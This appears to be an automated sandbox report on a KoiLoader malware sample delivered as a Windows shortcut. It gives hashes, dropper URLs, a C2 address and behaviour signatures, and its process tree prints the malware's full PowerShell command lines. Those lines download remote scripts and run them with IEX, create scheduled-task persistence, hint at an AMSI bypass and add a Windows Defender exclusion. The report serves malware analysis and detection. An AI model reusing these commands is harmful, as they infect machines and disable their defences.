Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    120s
  • max time network
    148s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/12/2024, 08:13

General

  • Target

    9ee3acebaae539dc60ea9321cfcf27451f6f05afc80ae7f7a959f76a8d587839.lnk

  • Size

    3KB

  • MD5

    f7f1052c9d09d61490d8f116238af21e

  • SHA1

    0f2550bb03f31716232de245a02823885f529e09

  • SHA256

    9ee3acebaae539dc60ea9321cfcf27451f6f05afc80ae7f7a959f76a8d587839

  • SHA512

    51737afa22f193a892525226575877a0893521ffd3dec18542a7f2b0cdef5807f736ae4458a5cf7f306c8e033fdacea870d9527529172f74cbbdbcde8a646568

Malware Config

Extracted

Language
ps1
Source
URLs
ps1.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php

exe.dropper

https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1

Extracted

Family

koiloader

C2

http://195.123.217.43/oversate.php

Attributes
  • payload_url

    https://www.italialife24.it/wp-content/uploads/2021/05

Signatures

  • KoiLoader

    KoiLoader is a malware loader written in C++.

  • Koiloader family
  • Detects KoiLoader payload 2 IoCs
  • Blocklisted process makes network request 9 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Checks computer location settings 2 TTPs 5 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Indicator Removal: Clear Persistence 1 TTPs 2 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 7 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\9ee3acebaae539dc60ea9321cfcf27451f6f05afc80ae7f7a959f76a8d587839.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1460
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -comman [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $OEzDNWd8hg1rXRnS6ya = New-Object Net.WebClient; $cio = $OEzDNWd8hg1rXRnS6ya.DownloadData('https://www.italialife24.it/wp-content/uploads/2021/05/triazoicuTsQo.php'); $OEzDNWd8hg1rXRnS6ya.DownloadFile('https://www.italialife24.it/wp-content/uploads/2021/05/butterfliesxH2dz.php', 'evQtmlDaSRMzUk.js'); schtasks /create /sc minute /mo 1 /f /tr ([System.Text.Encoding]::UTF8.GetString($cio) + $env:tmp + '\' + ('evQtmlDaSRMzUk.js ' * 2)) /tn ZA3XqiywQ;
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:436
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 1 /f /tr "wscript C:\Users\Admin\AppData\Local\Temp\evQtmlDaSRMzUk.js evQtmlDaSRMzUk.js " /tn ZA3XqiywQ
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3684
  • C:\Windows\system32\wscript.EXE
    C:\Windows\system32\wscript.EXE C:\Users\Admin\AppData\Local\Temp\evQtmlDaSRMzUk.js evQtmlDaSRMzUk.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:636
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "IWR -outfi $env:programdata\B4EEGLEBYCLK.js -usebasi 'https://www.italialife24.it/wp-content/uploads/2021/05/afretPf.php'; schtasks /delete /tn evQtmlDaSRMzUk.js /f; wscript $env:programdata\B4EEGLEBYCLK.js "
      2⤵
      • Blocklisted process makes network request
      • Indicator Removal: Clear Persistence
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3040
      • C:\Windows\system32\schtasks.exe
        "C:\Windows\system32\schtasks.exe" /delete /tn evQtmlDaSRMzUk.js /f
        3⤵
          PID:3068
        • C:\Windows\system32\wscript.exe
          "C:\Windows\system32\wscript.exe" C:\ProgramData\B4EEGLEBYCLK.js
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:4540
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php'; $l2 = 'https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zGWH99YEAOM'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:4604
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c "powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')"
              5⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3700
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell -command IEX(IWR -UseBasicParsing 'https://www.italialife24.it/wp-content/uploads/2021/05/sd2.ps1')
                6⤵
                • Blocklisted process makes network request
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                PID:2236
    • C:\Windows\SysWOW64\DllHost.exe
      C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
      1⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1420
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1424
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -command Add-MpPreference -ExclusionPath 'C:\ProgramData'
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4904
    • C:\Windows\system32\wscript.EXE
      C:\Windows\system32\wscript.EXE C:\Users\Admin\AppData\Local\Temp\evQtmlDaSRMzUk.js evQtmlDaSRMzUk.js
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2852
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "IWR -outfi $env:programdata\B4EEGLEBYCLK.js -usebasi 'https://www.italialife24.it/wp-content/uploads/2021/05/afretPf.php'; schtasks /delete /tn evQtmlDaSRMzUk.js /f; wscript $env:programdata\B4EEGLEBYCLK.js "
        2⤵
        • Blocklisted process makes network request
        • Indicator Removal: Clear Persistence
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2136
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /delete /tn evQtmlDaSRMzUk.js /f
          3⤵
            PID:1900
          • C:\Windows\system32\wscript.exe
            "C:\Windows\system32\wscript.exe" C:\ProgramData\B4EEGLEBYCLK.js
            3⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:1572
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -command "$l1 = 'https://www.italialife24.it/wp-content/uploads/2021/05/stepPCj5H.php'; $l2 = 'https://www.italialife24.it/wp-content/uploads/2021/05/untrippingvT.ps1'; $a=[Ref].Assembly.GetTypes();Foreach($b in $a) {if ($b.Name -like '*siU*s') {$c=$b}}; $env:paths = '7zKB8KZSC43A'; IEX(Invoke-WebRequest -UseBasicParsing $l1); IEX(Invoke-WebRequest -UseBasicParsing $l2)"
              4⤵
              • Blocklisted process makes network request
              • Command and Scripting Interpreter: PowerShell
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4844
      • C:\Windows\System32\wscript.exe
        C:\Windows\System32\wscript.exe "C:\ProgramData\rdc5cddf5-9e4b-4c89-ba53-89649a7a5ee7r.js"
        1⤵
          PID:2784

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\ProgramData\B4EEGLEBYCLK.js

          Filesize

          1KB

          MD5

          0cd6a94d6d124580932bd0a0ed7956a3

          SHA1

          2c1ed41ccadb0066b3007355628a0bdc6310d124

          SHA256

          1450566778558372ea1ff2f4eeb49e913e4b5a4336ea3117192bb369e7df7766

          SHA512

          0729edf995a56d664f45c0ba293135969c6ece1fdcbd82c7d53f6f1dbd7602eabb5bb7515bc342995aa238a84ca21908cf432994df1945688c917b3e70144f69

        • C:\ProgramData\B4EEGLEBYCLK.js

          Filesize

          1KB

          MD5

          61d164d9576ddb58f8d4e45990bdceab

          SHA1

          50b13d356d5ebb18ed56b58fed09da7b5fc49f97

          SHA256

          592260e91d9fae7f79d632b9ebe1b37a18e6da7b9b23e671e99ecf73363bcc59

          SHA512

          81c4acd99b7353373016e8744ad42407dca38f3008c4c8ee6d275a1c90ab3bb87756e3bd3c6367829121c63f0f41d463a1997cc51b3337d408663d9b5b79d7d8

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          2f57fde6b33e89a63cf0dfdd6e60a351

          SHA1

          445bf1b07223a04f8a159581a3d37d630273010f

          SHA256

          3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

          SHA512

          42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

          Filesize

          2KB

          MD5

          968cb9309758126772781b83adb8a28f

          SHA1

          8da30e71accf186b2ba11da1797cf67f8f78b47c

          SHA256

          92099c10776bb7e3f2a8d1b82d4d40d0c4627e4f1bf754a6e58dfd2c2e97042a

          SHA512

          4bd50732f8af4d688d95999bddfd296115d7033ddc38f86c9fb1f47fde202bffa27e9088bebcaa3064ca946af2f5c1ca6cbde49d0907f0005c7ab42874515dd3

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

          Filesize

          53KB

          MD5

          06ad34f9739c5159b4d92d702545bd49

          SHA1

          9152a0d4f153f3f40f7e606be75f81b582ee0c17

          SHA256

          474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

          SHA512

          c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          19KB

          MD5

          0f1e8d3c1e8634df5bb6d8e452622dda

          SHA1

          5e462f46da004031c59ef89495c8109bdeb55aac

          SHA256

          b304347dff50c36ca54cc01d26eed0c54384896b36dd4a55c6aabe0c2baf8717

          SHA512

          e872b485e281a2c222813cdcb7f8c20211b22b60d7b1212537a9cabde63f6560a0b92c5bf96d483609148195abde2be3c6e4f72e756ef2c3f8dd966e51169f10

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          477031a32089e6d066092d640b526add

          SHA1

          5041602c7c71b4c6e40928039dcc07b6b32a67f2

          SHA256

          0ec3dcb238a28e1b43e2f7b03f955f6304927314c40a51f1d4b2b00345c12bef

          SHA512

          01388ea1af8248901beb17d1fa62efead2ae1bf9accfc8e132f4f0c0e77c068fd7e998d218043fdc90c497824ca3723689502490da4fd97237a4f0d40ef2bb4e

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          e936ffde1732f536cc835ed3e6c83842

          SHA1

          05a7c09e599c32003ea21329932a032ace4f592c

          SHA256

          da9997a3db22d4c3b7900392af3d4a88d09de0df6c4a75d89ea1b271edbb2552

          SHA512

          35d49450a82c671843080c2ff2ff0d33aa5640234958b7e417a9c2f9e20e24b752a4793a99662253e7ad892dcd70904f6524d5e71c0d80333d7d01741c115870

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

          Filesize

          1KB

          MD5

          a2b24af1492f112d2e53cb7415fda39f

          SHA1

          dbfcee57242a14b60997bd03379cc60198976d85

          SHA256

          fa05674c1db3386cf01ba1db5a3e9aeb97e15d1720d82988f573bf9743adc073

          SHA512

          9919077b8e5c7a955682e9a83f6d7ab34ac6a10a3d65af172734d753a48f7604a95739933b8680289c94b4e271b27c775d015b8d9678db277f498d8450b8aff0

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5gjhgiw2.ur1.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\evQtmlDaSRMzUk.js

          Filesize

          304B

          MD5

          0b02e5a1f53e36118d6ea51272910145

          SHA1

          055f7cc3a95ad34e28f72299636182fa6fe77fa1

          SHA256

          eb69abd724d81f65d3e2159cd92af692eb60de8aa331aecd87dc79c3b9f56aca

          SHA512

          5ebb2bc4fb073ad17a7a1b20779ba14fccca4be14c769defa7a2d0de36399ec56f30a7bfb6e55fa00f0b800e8b225d625179c05d334e27ff746352f31da2f7d2

        • memory/436-18-0x00007FFCC7680000-0x00007FFCC8141000-memory.dmp

          Filesize

          10.8MB

        • memory/436-2-0x00007FFCC7683000-0x00007FFCC7685000-memory.dmp

          Filesize

          8KB

        • memory/436-14-0x00007FFCC7680000-0x00007FFCC8141000-memory.dmp

          Filesize

          10.8MB

        • memory/436-13-0x00007FFCC7680000-0x00007FFCC8141000-memory.dmp

          Filesize

          10.8MB

        • memory/436-10-0x0000019E2F4B0000-0x0000019E2F4D2000-memory.dmp

          Filesize

          136KB

        • memory/2236-104-0x0000000007D00000-0x0000000007D92000-memory.dmp

          Filesize

          584KB

        • memory/2236-103-0x0000000007C10000-0x0000000007C60000-memory.dmp

          Filesize

          320KB

        • memory/2236-102-0x0000000007B70000-0x0000000007B8A000-memory.dmp

          Filesize

          104KB

        • memory/2236-101-0x0000000008120000-0x00000000086C4000-memory.dmp

          Filesize

          5.6MB

        • memory/2236-100-0x00000000073A0000-0x00000000073C2000-memory.dmp

          Filesize

          136KB

        • memory/4604-57-0x0000000007C10000-0x0000000007C1D000-memory.dmp

          Filesize

          52KB

        • memory/4604-54-0x0000000007440000-0x0000000007ABA000-memory.dmp

          Filesize

          6.5MB

        • memory/4604-35-0x0000000002810000-0x0000000002846000-memory.dmp

          Filesize

          216KB

        • memory/4604-36-0x00000000050B0000-0x00000000056D8000-memory.dmp

          Filesize

          6.2MB

        • memory/4604-37-0x0000000004DE0000-0x0000000004E02000-memory.dmp

          Filesize

          136KB

        • memory/4604-55-0x0000000007B30000-0x0000000007B31000-memory.dmp

          Filesize

          4KB

        • memory/4604-39-0x0000000004EF0000-0x0000000004F56000-memory.dmp

          Filesize

          408KB

        • memory/4604-38-0x0000000004E80000-0x0000000004EE6000-memory.dmp

          Filesize

          408KB

        • memory/4604-49-0x0000000005760000-0x0000000005AB4000-memory.dmp

          Filesize

          3.3MB

        • memory/4604-51-0x0000000005DA0000-0x0000000005DBE000-memory.dmp

          Filesize

          120KB

        • memory/4604-52-0x0000000005DD0000-0x0000000005E1C000-memory.dmp

          Filesize

          304KB

        • memory/4604-53-0x0000000006190000-0x00000000061AA000-memory.dmp

          Filesize

          104KB

        • memory/4844-134-0x0000000007160000-0x000000000716D000-memory.dmp

          Filesize

          52KB

        • memory/4904-82-0x0000000007700000-0x000000000770A000-memory.dmp

          Filesize

          40KB

        • memory/4904-97-0x0000000007B20000-0x0000000007B28000-memory.dmp

          Filesize

          32KB

        • memory/4904-96-0x0000000007BE0000-0x0000000007BFA000-memory.dmp

          Filesize

          104KB

        • memory/4904-95-0x0000000007AE0000-0x0000000007AF4000-memory.dmp

          Filesize

          80KB

        • memory/4904-94-0x0000000007AD0000-0x0000000007ADE000-memory.dmp

          Filesize

          56KB

        • memory/4904-84-0x0000000007AA0000-0x0000000007AB1000-memory.dmp

          Filesize

          68KB

        • memory/4904-83-0x0000000007B40000-0x0000000007BD6000-memory.dmp

          Filesize

          600KB

        • memory/4904-81-0x0000000007560000-0x0000000007603000-memory.dmp

          Filesize

          652KB

        • memory/4904-80-0x0000000006B30000-0x0000000006B4E000-memory.dmp

          Filesize

          120KB

        • memory/4904-70-0x0000000070E30000-0x0000000070E7C000-memory.dmp

          Filesize

          304KB

        • memory/4904-69-0x0000000006B50000-0x0000000006B82000-memory.dmp

          Filesize

          200KB